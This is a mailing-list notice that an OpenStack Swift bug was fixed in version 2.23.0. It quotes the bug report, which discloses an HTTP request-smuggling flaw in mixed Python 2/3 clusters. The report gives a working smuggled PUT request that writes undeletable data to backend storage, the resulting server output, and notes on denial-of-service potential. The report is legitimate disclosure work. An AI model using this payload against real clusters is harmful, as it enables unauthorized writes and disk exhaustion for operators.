[Openstack-security] [Bug 1840507] Fix included in openstack/swift 2.23.0
OpenStack Infra
1840507 at bugs.launchpad.net
Thu Oct 3 16:34:40 UTC 2019
This issue was fixed in the openstack/swift 2.23.0 release.
--
You received this bug notification because you are a member of OpenStack
Security SIG, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1840507
Title:
Mixed py2/py3 environment allows authed users to write arbitrary data
to the cluster
Status in OpenStack Security Advisory:
Won't Fix
Status in OpenStack Object Storage (swift):
Fix Released
Bug description:
Python 3 doesn't parse headers the same way as python 2 [1]. We
attempt to address this failing [2], but since we're doing it at the
application level, eventlet can still get confused about what should
and should not be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-Meta-x-🌴: 👍
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Transfer-Encoding: chunked
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers,
and send a request on to the object-servers like
PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
Accept-Encoding: identity
Expect: 100-continue
X-Container-Device: sdb2
Content-Length: 4
X-Object-Meta-X-🌴: 👍
Connection: close
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Content-Type: application/octet-stream
X-Backend-Storage-Policy-Index: 1
X-Timestamp: 1565985475.83685
X-Container-Host: 127.0.0.1:6021
X-Container-Partition: 61
Host: saio:8080
User-Agent: proxy-server 3752
Referer: PUT http://saio:8080/v1/AUTH_test/c/o
Transfer-Encoding: chunked
X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
X-Backend-Clean-Expiring-Object-Queue: f
(Note that the exact order of the headers will vary but is
significant; the above was obtained on my machine with
PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers
up to (and not including, though that doesn't really matter) the palm
tree. Significantly, it sees `Content-Length: 4` (which, per the spec
[3], the proxy-server ignored) and doesn't see either of `Connection:
close` or `Transfer-Encoding: chunked`. The *application* gets all of
the headers, though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
Since eventlet thinks the request body is only four bytes, swift
writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the
`Connection: close` header, it looks for and processes more requests
on the socket, and swift writes a second object:
$ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a3f5a29d93eb2941f2
Content-Type: text/evil
Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee15292d823416f7510a2f (valid)
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a3f5a29d93eb2941f2
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing
headers, servers should make appropriate adjustments to
environ['wsgi.input'] to ensure that it has all relevant information
about the request body. Second, the proxy should not include a
Content-Length header when sending a chunk-encoded request to the
backend.
[1] https://bugs.python.org/issue37093
[2] https://github.com/openstack/swift/commit/76fde8926
[3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
[4] https://github.com/openstack/swift/commit/f581fccf7
To manage notifications about this bug go to:
https://bugs.launchpad.net/ossa/+bug/1840507/+subscriptions
More information about the Openstack-security
mailing list